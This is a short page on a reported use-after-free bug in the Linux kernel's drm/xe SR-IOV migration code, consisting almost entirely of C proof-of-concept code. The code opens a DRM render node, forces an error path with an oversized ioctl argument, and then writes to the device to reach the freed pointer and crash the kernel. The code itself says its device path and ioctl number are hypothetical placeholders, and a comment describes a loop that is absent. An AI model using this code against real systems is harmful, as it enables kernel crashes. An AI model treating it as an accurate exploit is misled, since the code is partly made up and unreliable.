CVE-2026-31490: Linux内核drm/xe/pf驱动释放后使用漏洞

/* * PoC for CVE-2026-31490 * Triggering use-after-free in xe_sriov_pf_migration_restore_produce */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device path and IOCTL for demonstration #define DEVICE_PATH "/dev/dri/renderD128" #define IOCTL_MIGRATION_RESTORE 0x8000 // Placeholder struct restore_args { unsigned long addr; size_t size; }; int main() { int fd; struct restore_args args; printf("[*] Opening device %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Step 1: Trigger the error path in xe_sriov_pf_migration_restore_produce // This causes the internal pointer to be freed but not set to NULL printf("[*] Step 1: Triggering error path (freeing pointer)\n"); args.size = 0xFFFFFFFF; // Invalid size to force error if (ioctl(fd, IOCTL_MIGRATION_RESTORE, &args) != 0) { printf("[+] Error returned as expected (pointer freed)\n"); } // Step 2: Call write again. The driver tries to use the stale pointer. printf("[*] Step 2: Calling write again to trigger UAF\n"); // This loop attempts to trigger the .write() callback write(fd, "TRIGGER", 7); printf("[*] If exploit successful, kernel panic or crash occurs here.\n"); close(fd); return 0; }